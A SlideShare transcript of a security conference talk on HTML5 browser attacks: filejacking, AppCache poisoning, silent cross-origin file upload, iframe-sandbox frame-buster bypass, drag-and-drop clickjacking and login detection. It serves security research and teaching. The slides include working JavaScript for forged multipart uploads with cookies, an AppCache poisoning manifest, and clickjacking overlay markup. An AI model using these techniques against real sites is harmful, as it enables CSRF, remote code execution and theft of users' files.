SlideShare une entreprise Scribd logo
1  sur  51
Télécharger pour lire hors ligne
Something wicked
this way comes




Krzysztof Kotowicz, SecuRing
kkotowicz@securing.pl
@kkotowicz
Plan
• HTML5 trickery
  •   Filejacking
  •   AppCache poisoning
  •   Silent file upload
  •   IFRAME sandbox aniframebuster
• Don’t get framed!
  • Drag into
  • Drag out content extraction
  • Frame based login detection
• Wrap-up

                                      2
HTML5 trickery



                 3
Filejacking
• HTML5 directory upload (Chrome only)
  <input type=file directory>

• displays this    ====>
• JS gets read access to
    all files within
    chosen folder



                                    4
Filejacking
  Business plan
• set up tempting webpage
• overlay input (CSS) with

• wait for clueless users
• get files & upload them to your server


                                   5
Filejacking




              6
Filejacking




              7
Filejacking
• How clueless users actually are?
  • http://kotowicz.net/wu running for ~13 mo
  • very limited exposure
  • only websec oriented visitors


• 298 clients connected (217 IPs)
• tons of interesting files

                                        8
Filejacking
  LOTS of these ------
    >
• Downloads/#
    BeNaughtyLive.com/
• Downloads/#
    GoLiveTrannies.com/
• BratSluts 11 12 04 Sasha
    Cane Red Tartan
    SchoolGirl XXX 720p
    WMV SEXORS.nzb
• bitches/1300563524557.jpg

                              9
Filejacking
• websec staff!




• but surely no private data?

                                10
Filejacking
•   Wireless Assess points.txt
•   interesting network next to me.txt
•   onlinePasswords.txt
•   s/pw.txt
•   letter of authorization.pdf
•   Staff-<name,surname>.pdf
•   <name,surname> - resume.doc
•   PIT-37, <name,surname>.PITY2010NG
•   Deklaracja_VAT7_Luty_2011.pdf
•   Pricing-Recommendation_CR.xlsm.zip

• but surely no clients data?
                                         11
Filejacking
• sony reports/                • Faktura_numer_26_2011_
    0045_sonymusic.##.zip           <company>.pdf
• SecurityQA.SQL.Injection.    • websec cred~
    Results.v1.1.docx          • security_users.sql.zip
• SSOCrawlTest5.4.097.xml      • !important - questions for
• IPS CDE Wireless Audit-           web developers.docx
     January 2011-1 0.docx     • sslstrip.log~
• IPS Wireless Testing         • ##### Paros Log.txt
     Schedule April 2011.xls
• 01-####### Corporation
    (Security Unarmed             So much for the
    Guard).xls                      NDAs...

                                                  12
Filejacking

+ All your file are belong to me
+ Trivial to set up
+ Filter files by e.g. extension, size etc.
-   Chrome only
-   Requires users prone to social-
     engineering


                                      13
AppCache poisoning
 HTML5 Offline Web
  Applications
 <html manifest=cache.manifest>

• cache.manifest lists URLs to cache
• cache expires only when CACHE MANIFEST
                              index.html
   manifest is changed     stylesheet.css
                           images/logo.png
                           scripts/main.js


                                  14
AppCache poisoning
• abuse to persist man-in-the-middle
  • manifest must be MIME text/cache-manifest
  • Chrome fills AppCache without user
     confirmation
• two steps
  • poison AppCache while m-i-t-m
  • have payloads stay forever in cache


                                          15
AppCache poisoning
• tamper http://victim/
   <html manifest=/robots.txt>
   <script>evil()</script>
• tamper http://victim/robots.txt
      CACHE MANIFEST
      CACHE:
      http://victim/
      NETWORK:
      *                             16
AppCache poisoning
  Later on, after m-i-t-m:
1. http://victim/ fetched from AppCache
2. browser checks for new manifest
     GET /robots.txt
3. receives text/plain robots.txt & ignores it
4. tainted AppCache is still used


                                      17
AppCache poisoning

+ Poison any URL
+ Payload stays until manually removed
-   Chrome or Firefox with user
     interaction
-   Needs active man-in-the-middle

     https://github.com/koto/sslstrip

                                        18
Silent file upload
• File upload purely in Javascript
• Emulates <input type=file> with:
  • any file name
  • any file content
• File constructed in Javascript
    (it’s not a real file!)
• Uses Cross Origin Resource Sharing

                                     19
Silent file upload
• Cross Origin Resource Sharing
   = cross domain AJAX
http://attacker.com/

var xhr = new XMLHttpRequest();
    
xhr.open("POST", "http://victim", true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.withCredentials = "true"; // send cookies
xhr.send("Anything I want");


                                        20
Silent file upload
• raw multipart/form-data request
function fileUpload(url, fileData, fileName) {
   var boundary = "xxxxxxxxx",
       xhr = new XMLHttpRequest();
    
   xhr.open("POST", url, true);
   xhr.withCredentials = "true";
   xhr.setRequestHeader("Content-Type",
      "multipart/form-data,
boundary="+boundary);


                                       21
Silent file upload

var b = "
--" + boundary + 'rn
Content-Disposition: form-data;
 name="contents"; filename="' + fileName + '"rn
Content-Type: application/octet-streamrn
rn
' + fileData + 'rn
--' + boundary + '--';

xhr.setRequestHeader("Content-Length", b.length);
xhr.send(b);



                                          22
Silent file upload

+ No user interaction
+ Works in most browsers
+ You can add more form fields
-   CSRF flaw needed
-   No access to response



                                23
Silent file upload




                DEMO
              Flickr.com




                           24
Silent file upload
• GlassFish Enterprise Server 3.1.
  • CVE 2012-0550 by Roberto Suggi Liverani
• //goo.gl/cOu1F
  logUrl = 'http://glassfishserver/
    management/domain/applications/
    application';
  fileUpload(c,"maliciousarchive.war");

• logged admin + CSRF = RCE
                                       25
IFRAME sandbox aniframebuster
• Used to embed untrusted content
  sandbox="
    allow-same-origin
    allow-scripts
    allow-forms
    allow-top-navigation"
  • prevents JS execution in frame
  • prevents defacement
• Facilitates clickjacking!
                                     26
Clickjacking?




                27
IFRAME sandbox aniframebuster
http://attacker.com

<iframe sandbox="
allow-forms allow-scripts"
 src="//victim"></iframe>
                 http://victim


                top.location = self.location
                // doesn’t work:(




                                        28
IFRAME sandbox aniframebuster

+ Chrome / Safari / IE 10
+ Will disable most JS framebusters
-   X-Frame-Options




                                  29
Don’t get framed!



                30
Same origin policy
• makes web (relatively) safe
  • restricts cross-origin communication
• can be relaxed though
  • crossdomain.xml
  • document.domain
  • HTML5 Cross Origin Resource Sharing
• or ignored...
  • UI redressing

                                           31
UI Redressing?




      Jedi mind tricks on victim users
                                    32
UI Redressing
 • This is not the page you’re looking at
 • This is not the thing you’re clicking
 • .................................................. dragging
 • .................................................. typing
 • .................................................. copying


 • Victims attack the applications for us


                                                                 33
Exploiting users




           //goo.gl/DgPpY   34
Drag into
• Put attackers content into victim form




                                   35
Drag into




               DEMO
            Alphabet Hero




                            36
Drag into

+ Inject arbitrary content
+ Trigger self-XSS
-   Firefox only (will die soon!)
-   X-Frame-Options




                                    37
Drag out content extraction



    image


                    image




                              38
Drag out content extraction



    image
        victim
      <iframe>
                    image




                              39
Drag out content extraction



    image
        victim
      <iframe>
                   textarea
                     <textarea>




                                  40
Drag out content extraction

<div id=game style="position:relative">
    <img style="position:absolute;..."
          src="paper.png" />
    <img style="position:absolute;..."
          src="trash.png" />    
    <iframe scrolling=no id=iframe
     style="position:absolute;opacity:0;...">
     </iframe>
   <textarea style="position:absolute;
       opacity:0;..." id=dropper></textarea>
</div>

                                     41
Drag out content extraction




                              42
Drag out content extraction




                              43
Drag out content extraction

+ Access sensitive content cross domain
-   Firefox only (will die soon!)
-   X-Frame-Options




                                    44
Frame-based login detection
• Are you now logged in to these
   websites?
  • facebook.com
  • amazon.com
  • a-banking-site.secure
• Why should I care?
  • e.g. launch CSRF / other attacks


                                       45
Frame-based login detection
• Previous work:
  • Cache timing, lcamtuf
  • Abusing HTTP Status Code, Mike Cardwell
  • Anchor Element Position Detection, Paul
     Stone

    <iframe src=//
    victim/#logout />
                                        46
Frame-based login detection




                              47
Frame-based login detection

<iframe src="//victim/login">

 //victim /login
<input id=login>
<script>
document.getElementById('login').focus()
</script>    



                                48
Frame-based login detection




             DEMO




                              49
Summary
• HTML5 is attacker’s friend too!
• Don’t get framed
• Users based pwnage FTW

  Developers:
  Use X-Frame-Options:
   DENY
                                    50
Wake up, I’m done!
•   html5sec.org
•   code.google.com/p/html5security
•   www.contextis.co.uk/research/white-papers/clickjacking


•   blog.kotowicz.net
•   github.com/koto
    Twitter: @kkotowicz
    kkotowicz@securing.pl


    Thanks @0x6D6172696F, @garethheyes, @theKos,
      @7a_, @lavakumark, @malerisch, @skeptic_fx, ....

                                                        51

Contenu connexe

Tendances

The Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile PlatformsThe Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile Platformskosborn
 
Defcon 20-zulla-improving-web-vulnerability-scanning
Defcon 20-zulla-improving-web-vulnerability-scanningDefcon 20-zulla-improving-web-vulnerability-scanning
Defcon 20-zulla-improving-web-vulnerability-scanningzulla
 
Protecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersFrank Kim
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front endErlend Oftedal
 
WebView security on iOS (EN)
WebView security on iOS (EN)WebView security on iOS (EN)
WebView security on iOS (EN)lpilorz
 
14. html 5 security considerations
14. html 5 security considerations14. html 5 security considerations
14. html 5 security considerationsEoin Keary
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMagno Logan
 
Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profitDavid Stockton
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultMohammed ALDOUB
 
Advanced CSRF and Stateless Anti-CSRF
Advanced CSRF and Stateless Anti-CSRFAdvanced CSRF and Stateless Anti-CSRF
Advanced CSRF and Stateless Anti-CSRFjohnwilander
 
Securing your web application through HTTP headers
Securing your web application through HTTP headersSecuring your web application through HTTP headers
Securing your web application through HTTP headersAndre N. Klingsheim
 
Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profitDavid Stockton
 
HTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must KnowHTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must KnowAyoma Wijethunga
 
Entity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applicationsEntity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applicationsMikhail Egorov
 
Hey My Web App is Slow Where is the Problem
Hey My Web App is Slow Where is the ProblemHey My Web App is Slow Where is the Problem
Hey My Web App is Slow Where is the ProblemColdFusionConference
 
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programsAEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programsMikhail Egorov
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)Kishor Kumar
 
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...Jeremiah Grossman
 
Evolution Of The Web Platform & Browser Security
Evolution Of The Web Platform & Browser SecurityEvolution Of The Web Platform & Browser Security
Evolution Of The Web Platform & Browser SecuritySanjeev Verma, PhD
 

Tendances (20)

The Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile PlatformsThe Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile Platforms
 
Defcon 20-zulla-improving-web-vulnerability-scanning
Defcon 20-zulla-improving-web-vulnerability-scanningDefcon 20-zulla-improving-web-vulnerability-scanning
Defcon 20-zulla-improving-web-vulnerability-scanning
 
Protecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP Headers
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front end
 
WebView security on iOS (EN)
WebView security on iOS (EN)WebView security on iOS (EN)
WebView security on iOS (EN)
 
14. html 5 security considerations
14. html 5 security considerations14. html 5 security considerations
14. html 5 security considerations
 
Browser Security
Browser SecurityBrowser Security
Browser Security
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
 
Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profit
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by Default
 
Advanced CSRF and Stateless Anti-CSRF
Advanced CSRF and Stateless Anti-CSRFAdvanced CSRF and Stateless Anti-CSRF
Advanced CSRF and Stateless Anti-CSRF
 
Securing your web application through HTTP headers
Securing your web application through HTTP headersSecuring your web application through HTTP headers
Securing your web application through HTTP headers
 
Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profit
 
HTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must KnowHTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must Know
 
Entity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applicationsEntity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applications
 
Hey My Web App is Slow Where is the Problem
Hey My Web App is Slow Where is the ProblemHey My Web App is Slow Where is the Problem
Hey My Web App is Slow Where is the Problem
 
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programsAEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)
 
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
Identifying Web Servers: A First-look Into the Future of Web Server Fingerpri...
 
Evolution Of The Web Platform & Browser Security
Evolution Of The Web Platform & Browser SecurityEvolution Of The Web Platform & Browser Security
Evolution Of The Web Platform & Browser Security
 

En vedette

Main Task Evaluation: Question 2
Main Task Evaluation: Question 2Main Task Evaluation: Question 2
Main Task Evaluation: Question 2dawzie
 
Todorovs theory with lady gaga
Todorovs theory with lady gagaTodorovs theory with lady gaga
Todorovs theory with lady gagadawzie
 
Embracing Social Media: Using It to Our Advantage
Embracing Social Media: Using It to Our AdvantageEmbracing Social Media: Using It to Our Advantage
Embracing Social Media: Using It to Our Advantageguest3a8d23
 
GráFicos Da Pesquisa Janeiro2010
GráFicos Da Pesquisa Janeiro2010GráFicos Da Pesquisa Janeiro2010
GráFicos Da Pesquisa Janeiro2010Daniel Guedes
 
The impossible quiz powerpoint edition v1.0
The impossible quiz powerpoint edition v1.0The impossible quiz powerpoint edition v1.0
The impossible quiz powerpoint edition v1.0thoml086
 
Earth Sun and Moon
Earth Sun and MoonEarth Sun and Moon
Earth Sun and Moonthoml086
 
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptTworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptKrzysztof Kotowicz
 
Html5: something wicked this way comes
Html5: something wicked this way comesHtml5: something wicked this way comes
Html5: something wicked this way comesKrzysztof Kotowicz
 

En vedette (8)

Main Task Evaluation: Question 2
Main Task Evaluation: Question 2Main Task Evaluation: Question 2
Main Task Evaluation: Question 2
 
Todorovs theory with lady gaga
Todorovs theory with lady gagaTodorovs theory with lady gaga
Todorovs theory with lady gaga
 
Embracing Social Media: Using It to Our Advantage
Embracing Social Media: Using It to Our AdvantageEmbracing Social Media: Using It to Our Advantage
Embracing Social Media: Using It to Our Advantage
 
GráFicos Da Pesquisa Janeiro2010
GráFicos Da Pesquisa Janeiro2010GráFicos Da Pesquisa Janeiro2010
GráFicos Da Pesquisa Janeiro2010
 
The impossible quiz powerpoint edition v1.0
The impossible quiz powerpoint edition v1.0The impossible quiz powerpoint edition v1.0
The impossible quiz powerpoint edition v1.0
 
Earth Sun and Moon
Earth Sun and MoonEarth Sun and Moon
Earth Sun and Moon
 
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptTworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
 
Html5: something wicked this way comes
Html5: something wicked this way comesHtml5: something wicked this way comes
Html5: something wicked this way comes
 

Similaire à Something wicked this way comes - CONFidence

Html5: Something wicked this way comes (Hack in Paris)
Html5: Something wicked this way comes (Hack in Paris)Html5: Something wicked this way comes (Hack in Paris)
Html5: Something wicked this way comes (Hack in Paris)Krzysztof Kotowicz
 
External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1) External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1) Volkan Özçelik
 
External JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesExternal JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesVolkan Özçelik
 
Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012Volkan Özçelik
 
Antisnatchor all you ever wanted to know about beef
Antisnatchor   all you ever wanted to know about beefAntisnatchor   all you ever wanted to know about beef
Antisnatchor all you ever wanted to know about beefDefconRussia
 
ZeroNights2012_BeEF_Workshop_antisnatchor
ZeroNights2012_BeEF_Workshop_antisnatchorZeroNights2012_BeEF_Workshop_antisnatchor
ZeroNights2012_BeEF_Workshop_antisnatchorMichele Orru
 
Devouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site ScriptingDevouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site Scriptinggmaran23
 
VoxxedDays Luxembourg - Abuse web browsers for fun & profits - Dominique Righ...
VoxxedDays Luxembourg - Abuse web browsers for fun & profits - Dominique Righ...VoxxedDays Luxembourg - Abuse web browsers for fun & profits - Dominique Righ...
VoxxedDays Luxembourg - Abuse web browsers for fun & profits - Dominique Righ...YaJUG
 
Metasploitation part-1 (murtuja)
Metasploitation part-1 (murtuja)Metasploitation part-1 (murtuja)
Metasploitation part-1 (murtuja)ClubHack
 
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensionsZoltan Balazs
 
Security research over Windows #defcon china
Security research over Windows #defcon chinaSecurity research over Windows #defcon china
Security research over Windows #defcon chinaPeter Hlavaty
 
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...Felipe Prado
 
Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5DefconRussia
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)Larry Cashdollar
 
Jinx - Malware 2.0
Jinx - Malware 2.0Jinx - Malware 2.0
Jinx - Malware 2.0Itzik Kotler
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeJeremiah Grossman
 
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScriptWarning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScriptCyber Security Alliance
 
Javascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stackJavascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stackRan Bar-Zik
 

Similaire à Something wicked this way comes - CONFidence (20)

Html5: Something wicked this way comes (Hack in Paris)
Html5: Something wicked this way comes (Hack in Paris)Html5: Something wicked this way comes (Hack in Paris)
Html5: Something wicked this way comes (Hack in Paris)
 
External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1) External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1)
 
External JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesExternal JavaScript Widget Development Best Practices
External JavaScript Widget Development Best Practices
 
Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012
 
Antisnatchor all you ever wanted to know about beef
Antisnatchor   all you ever wanted to know about beefAntisnatchor   all you ever wanted to know about beef
Antisnatchor all you ever wanted to know about beef
 
ZeroNights2012_BeEF_Workshop_antisnatchor
ZeroNights2012_BeEF_Workshop_antisnatchorZeroNights2012_BeEF_Workshop_antisnatchor
ZeroNights2012_BeEF_Workshop_antisnatchor
 
Devouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site ScriptingDevouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site Scripting
 
VoxxedDays Luxembourg - Abuse web browsers for fun & profits - Dominique Righ...
VoxxedDays Luxembourg - Abuse web browsers for fun & profits - Dominique Righ...VoxxedDays Luxembourg - Abuse web browsers for fun & profits - Dominique Righ...
VoxxedDays Luxembourg - Abuse web browsers for fun & profits - Dominique Righ...
 
Metasploitation part-1 (murtuja)
Metasploitation part-1 (murtuja)Metasploitation part-1 (murtuja)
Metasploitation part-1 (murtuja)
 
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
 
Security research over Windows #defcon china
Security research over Windows #defcon chinaSecurity research over Windows #defcon china
Security research over Windows #defcon china
 
Building Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 FeaturesBuilding Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 Features
 
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
 
Flashack
FlashackFlashack
Flashack
 
Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)
 
Jinx - Malware 2.0
Jinx - Malware 2.0Jinx - Malware 2.0
Jinx - Malware 2.0
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScriptWarning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
 
Javascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stackJavascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stack
 

Plus de Krzysztof Kotowicz

Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Krzysztof Kotowicz
 
Trusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSTrusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSKrzysztof Kotowicz
 
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Krzysztof Kotowicz
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Krzysztof Kotowicz
 
I'm in your browser, pwning your stuff
I'm in your browser, pwning your stuffI'm in your browser, pwning your stuff
I'm in your browser, pwning your stuffKrzysztof Kotowicz
 
Creating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptCreating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptKrzysztof Kotowicz
 
Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Krzysztof Kotowicz
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersKrzysztof Kotowicz
 
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Krzysztof Kotowicz
 

Plus de Krzysztof Kotowicz (11)

Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
 
Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018
 
Trusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSTrusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSS
 
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)
 
HTML5: Atak i obrona
HTML5: Atak i obronaHTML5: Atak i obrona
HTML5: Atak i obrona
 
I'm in your browser, pwning your stuff
I'm in your browser, pwning your stuffI'm in your browser, pwning your stuff
I'm in your browser, pwning your stuff
 
Creating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptCreating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScript
 
Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developers
 
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
 

Dernier

Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxLoriGlavin3
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
